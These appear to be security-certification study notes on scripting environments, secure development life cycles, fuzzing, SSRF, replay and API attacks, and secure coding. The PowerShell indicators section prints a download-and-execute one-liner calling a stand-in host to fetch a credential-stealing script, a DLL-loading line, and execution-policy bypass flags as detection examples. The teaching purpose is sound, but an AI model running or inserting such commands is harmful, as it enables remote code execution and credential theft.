command. A common exploit for a vulnerable web server is to upload a cryptominer, misusing the server's CPU resources to try to obtain new cryptocurrency. You can use Linux utilities such as top and free to diagnose excessive CPU and memory resource consumption by such malware. This F5 white paper describes the use of Bash and Python attack tools (f5.com/labs/articles/threat-intelligence/attackers-use-new--sophisticated-ways-to-install-cryptominers).
modules powershell
PowerShell can also be used with a large number of modules, which are added to a script using the Import-Module cmdlet.
powershell script environment
PowerShell is the preferred method of performing Windows administration tasks (docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7). It has also become the Windows hacker's go-to toolkit. PowerShell statements can be executed at a PowerShell prompt, or run as a script (.ps1) on any PowerShell-enabled host. The Get-Help cmdlet shows help on different elements of the PowerShell environment. PowerShell is case-insensitive.
logic and looping statements powershell
PowerShell supports a wider range of branching and looping structures than Python, including the switch and do statements. Curly brackets are used to structure the statements. PowerShell uses textual operators (-eq, -ne, -lt, -gt, -le, and -ge).
provisioning, deprovisioning and version control: provisioning
Provisioning is the process of deploying an application to the target environment, such as enterprise desktops, mobile devices, or cloud infrastructure. An enterprise provisioning manager might assemble multiple applications in a package. Alternatively, the OS and applications might be defined as a single instance for deployment on a virtualized platform. The provisioning process must account for changes to any of these applications so that packages or instances are updated with the latest version.
python script environment
Python is a popular language for implementing all kinds of development projects, including automation tools and security tools, as well as malicious scripts (python.org). Where many languages use brackets to denote blocks of code, Python uses indentation (4 spaces per level, by convention). Any statement that starts a block is delimited by a colon. Python is case-sensitive; for example, the variable user cannot be referred to by the label User or USER. Comment lines are marked by the # character. You can view inline help on modules, functions, and keywords using the help statement. For example, the following command shows help for the print function: help(print)
python execution
Python is an interpreted language, executed within the context of a binary Python process. In Windows, a Python script (.py) can be called via python.exe (with a command window) or pythonw.exe (with no command window). A Python script can also be compiled to a standalone Windows executable using the py2exe extension. This executable can be digitally signed.
python variables
Python uses the = operator to assign a name to a variable. Names are not declared with a data type, such as string or integer, but Python is strongly typed, meaning that you cannot add an integer variable to a string variable, for instance. String literals can be delimited using single or double quotes.
secure application development environments: quality assurance
Quality processes are how an organization tests a system to identify whether it complies with a set of requirements and expectations. These requirements and expectations can be driven by risk-based assessments, or they can be driven by internal and external compliance factors, such as industry regulations and company-defined quality standards. Quality control (QC) is the process of determining whether a system is free from defects or deficiencies. QC procedures are themselves defined by a quality assurance (QA) process, which analyzes what constitutes "quality" and how it can be measured and checked.
SSRF encompasses a very wide range of potential exploits and targets, some of which include
Reconnaissance—a response may contain metadata describing the type and configuration of internal servers. SSRF can also be used to port scan within the internal network. Credential stealing—a response may contain an API key that the internal servers use between themselves. Unauthorized requests—the server-initiated request might change data or access a service in an unauthorized way. Protocol smuggling—despite initially being carried over HTTP, the SSRF might target an internal SMTP or FTP server. That server may be configured in a "best effort" way, strip the HTTP header, and do its best to return the response to the SMTP or FTP request.
secure application development environments
Security must be a key component of the application or automation design process. Even a simple form and script combination can make a web server vulnerable if the script is not well written. A software development life cycle (SDLC) divides the creation and maintenance of software into discrete phases. There are two principal SDLCs: the waterfall model and Agile development. Both these models stress the importance of requirements analysis and quality processes to the success of development projects.
replay attacks
Session management enables web applications to uniquely identify a user across a number of different actions and requests. Session management is particularly important when it comes to user authentication, as it is required to ensure the integrity of the account and the confidentiality of data associated with it. Session management is often vulnerable to different kinds of replay attack. To establish a session, the server normally gives the client some type of token. A replay attack works by sniffing or guessing the token value and then submitting it to re-establish the session illegitimately. HTTP is nominally a stateless protocol, meaning that the server preserves no information about the client, but mechanisms such as cookies have been developed to preserve stateful data. A cookie is created when the server sends an HTTP response header with the cookie data. A cookie has a name and value, plus optional security and expiry attributes. Subsequent request headers sent by the client will usually include the cookie. Cookies are either nonpersistent (session) cookies, in which case they are stored in memory and deleted when the browser instance is closed, or persistent, in which case they are stored in the browser cache until deleted by the user or pass a defined expiration date. If cookies are used to store confidential information, the web application should encrypt them before sending them to the client. If using TLS, information in a cookie would be secure in transit but reside on the client computer in plaintext, unless it had been separately encrypted. The value can be any URL-safe encoded string in whatever format and structure the application uses for parsing.
Dynamic code analysis
Static code review techniques will not reveal vulnerabilities that might exist in the runtime environment, such as exposure to race conditions or unexpected user input. Dynamic analysis means that the application is tested under "real world" conditions using a staging environment. Fuzzing is a means of testing that an application's input validation routines work well. Fuzzing means that the test or vulnerability scanner generates large amounts of deliberately invalid and/or random input and records the responses made by the application. This is a form of "stress testing" that can reveal how robust the application is. There are generally three types of fuzzers, representing different ways of injecting manipulated input into the application: Application UI—identify input streams accepted by the application, such as input boxes, command line switches, or import/export functions. Protocol—transmit manipulated packets to the application, perhaps using unexpected values in the headers or payload. File format—attempt to open files whose format has been manipulated, perhaps manipulating specific features of the file. Fuzzers are also distinguished by the way in which they craft each input (or test case). The fuzzer may use semi-random input (dumb fuzzer) or might craft specific input based around known exploit vectors, such as escaped command sequences or character literals, or by mutating intercepted inputs. Associated with fuzzing is the concept of stress testing an application to see how an application performs under extreme performance or usage scenarios. Finally, the fuzzer needs some means of detecting an application crash and recording which input sequence generated the crash.
secure coding techniques
The security considerations for new programming technologies should be well understood and tested before deployment. One of the challenges of application development is that the pressure to release a solution often trumps any requirement to ensure that the application is secure. A legacy software design process might be heavily focused on highly visible elements, such as functionality, performance, and cost. Modern development practices use a security development life cycle running in parallel or integrated with the focus on software functionality and usability. Examples include Microsoft's SDL (microsoft.com/en-us/securityengineering/sdl) and the OWASP Software Assurance Maturity Model (owasp.org/www-project-samm) and Security Knowledge Framework (owasp.org/www-project-security-knowledge-framework). OWASP also collates descriptions of specific vulnerabilities, exploits, and mitigation techniques, such as the OWASP Top 10 (owasp.org/www-project-top-ten). Some of the most important coding practices are input validation, output encoding, and error handling.
powershell malicious indicators
There are numerous exploit frameworks to leverage PowerShell functionality, such as PowerShell Empire, PowerSploit, Metasploit, and Mimikatz. Some suspicious indicators for PowerShell execution include the following: Cmdlets such as Invoke-Expression, Invoke-Command, Invoke-WMIMethod, New-Service, Create-Thread, Start-Process, and New-Object can indicate an attempt to run some type of binary shellcode. This is particularly suspicious if combined with a DownloadString or DownloadFile argument. One complication is that cmdlets can be shortened, assisting obfuscation. For example, Invoke-Expression can be run using IEX. powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://badsite.foo/DoEvil.ps1'); Do-Evil -StealCreds" Bypassing execution policy can also act as an indicator. The PowerShell code may be called as a Base64 encoded string (-enc argument) or may use the -noprofile or -ExecutionPolicy Bypass arguments. Using system calls to the Windows API might indicate an attempt to inject a DLL or perform process hollowing, where the malicious code takes over a legitimate process: [Kernel32]::LoadLibrary("C:\Users\Foo\AppData\Local\Temp\doevil.dll") Using another type of script to execute the PowerShell is also suspicious. For example, the attacker might use JavaScript code embedded in a PDF to launch PowerShell via a vulnerable reader app. The big problem with PowerShell indicators is distinguishing them from legitimate behavior. The following techniques can be used to assist with this: Use group policy to restrict execution of PowerShell to trusted accounts and hosts. Use group policy execution control to run scripts only from trusted locations. Consider use of Constrained Language Mode (devblogs.microsoft.com/powershell/powershell-constrained-language-mode) and signed scripts to limit the ability of exploit code to run on high-value target systems. Use PowerShell logging (docs.microsoft.com/en-us/powershell/scripting/windows-powershell/wmf/whats-new/script-logging?view=powershell-7) and the Antimalware Scan Interface (docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps) to detect and prevent obfuscated and suspicious code. Prevent the use of old PowerShell versions to mitigate the use of a downgrade attack to bypass access controls. Symantec's white paper contains a useful introduction to PowerShell exploits (docs.broadcom.com/doc/increased-use-of-powershell-in-attacks-16-en).
secure application development environments development environments
To meet the demands of the life cycle model and quality assurance, code is normally passed through several different environments: Development—the code will be hosted on a secure server. Each developer will check out a portion of code for editing on his or her local machine. The local machine will normally be configured with a sandbox for local testing. This ensures that whatever other processes are being run locally do not interfere with or compromise the application being developed. Test/integration—in this environment, code from multiple developers is merged to a single master copy and subjected to basic unit and functional tests (either automated or by human testers). These tests aim to ensure that the code builds correctly and fulfills the functions required by the design. Staging—this is a mirror of the production environment but may use test or sample data and will have additional access controls so that it is only accessible to test users. Testing at this stage will focus more on usability and performance. Production—the application is released to end users. Secure development environments. (Images © 123RF.com.) It is important to be able to validate the integrity of each coding environment. Compromise in any environment could lead to the release of compromised code. Sandboxing—each development environment should be segmented from the others. No processes should be able to connect to anything outside the sandbox. Only the minimum tools and services necessary to perform code development and testing should be allowed in each sandbox. Secure configuration baseline—each development environment should be built to the same specification, possibly using automated provisioning. Integrity measurement—this process determines whether the development environment varies from the configuration baseline. Perhaps a developer added an unauthorized tool to solve some programming issue. Integrity measurement may be performed by scanning for unsigned files or files that do not otherwise match the baseline. The Linux diff command can be used to compare file structures (linux.die.net/man/1/diff).
unreachable code and dead code
Unreachable code is a part of application source code that can never be executed. For example, there may be a routine within a logic statement (If ... Then) that can never be called because the conditions that would call it can never be met. Dead code is executed but has no effect on the program flow. For example, there may be code to perform a calculation, but the result is never stored as a variable or used to evaluate a condition. This type of code may be introduced through carelessly reused code, or when a block of code is rewritten or changed. Unreachable and dead code should be removed from the application to forestall the possibility that it could be misused in some way. The presence of unreachable/dead code can indicate that the application is not being well maintained.
provisioning, deprovisioning and version control: version control
Version control is an ID system for each iteration of a software product. Most version control numbers represent both the version, as made known to the customer or end user, and internal build numbers for use in the development process. Version control supports the change management process for software development projects. Most software development environments use a build server to maintain a repository of previous versions of the source code. When a developer commits new or changed code to the repository, the new source code is tagged with an updated version number and the old version archived. This allows changes to be rolled back if a problem is discovered.
Application Programming Interface Attacks
Web applications and cloud services implement application program interfaces (APIs) to allow consumers to automate services. An API call might use the following general URL format: https://webapp.foo/?Action=RunInstance&Id=123&Count=1&InstanceAccessKey= MyInstanceAccessKey&Placement=us-east&MyAuthorizationToken If the API isn't secure, threat actors can easily take advantage of it to compromise the services and data stored on the web application. An API must only be used over an encrypted channel (HTTPS). API calls over plain HTTP are not secure and could easily be impersonated or modified by a third party. Some other common attacks against APIs target the following weaknesses and vulnerabilities: Ineffective secrets management, allowing threat actors to discover an API key and perform any action authorized to that key. Lack of input validation, allowing the threat actor to insert arbitrary parameters into API methods and queries. This is often referred to as allowing unsanitized input. Error messages revealing clues to a potential adversary. For example, an authentication error should not reveal whether a valid username has been rejected because of an invalid password. The error should simply indicate an authentication failure. Denial of service (DoS) by bombarding the API with spurious calls. Protection against this attack can be provided through throttling/rate-limiting mechanisms.
automation/scripting release paradigms: continuous delivery
Where CI is about managing code in development, continuous delivery is about testing all of the infrastructure that supports the app, including networking, database functionality, client software, and so on.
normalization and output encoding
Where an application accepts string input, the input should be subjected to normalization procedures before being accepted. Normalization means that a string is stripped of illegal characters or substrings and converted to the accepted character set. This ensures that the string is in a format that can be processed correctly by the input validation routines. When user-generated strings are passed through different contexts in a web application—between HTTP, JavaScript, PHP, and SQL for instance—each with potentially different canonicalization schemes, it is extremely difficult to ensure that characters that would facilitate script injection by XSS have been rendered safe. Output encoding means that the string is re-encoded safely for the context in which it is being used. For example, a web form might perform input validation at the client, but when it reaches the server, a PHP function performs output encoding before composing an SQL statement. Similarly, when a string is delivered from a database using SQL, a JavaScript function would perform output encoding to render the string using safe HTML entities (cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).
automation/scripting release paradigms: continuous deployment
Where continuous delivery tests that an app version and its supporting infrastructure are ready for production, continuous deployment is the separate process of actually making changes to the production environment to support the new app version.
unsafe characters in percent encoding
null %00 space %20 CR (carriage return) %0D LF(line feed) %0A + %2B % %2B / %2F \ %5C . %2E ? %3F " %22 ' %27 < %3C > %3E & %26 | %7C
code reuse
using a block of code from elsewhere in the same application or from another application to perform a different function (or perform the same function in a different context). The risk here is that the copy and paste approach causes the developer to overlook potential vulnerabilities (perhaps the function's input parameters are no longer validated in the new context). Third-party library—using a binary package (such as a dynamic link library) that implements some sort of standard functionality, such as establishing a network connection or performing cryptography. Each library must be monitored for vulnerabilities and patched promptly.
stored procedures
using a pre-built function to perform a database query. A stored procedure is a part of a database that executes a custom query. The procedure is supplied an input by the calling program and returns a predefined output for matched records. This can provide a more secure means of querying the database. Any stored procedures that are part of the database but not required by the application should be disabled.
software development kit
using sample code or libraries of pre-built functions from the programming environment used to create the software or interact with a third party API. As with other third party libraries or code, it is imperative to monitor for vulnerabilities.
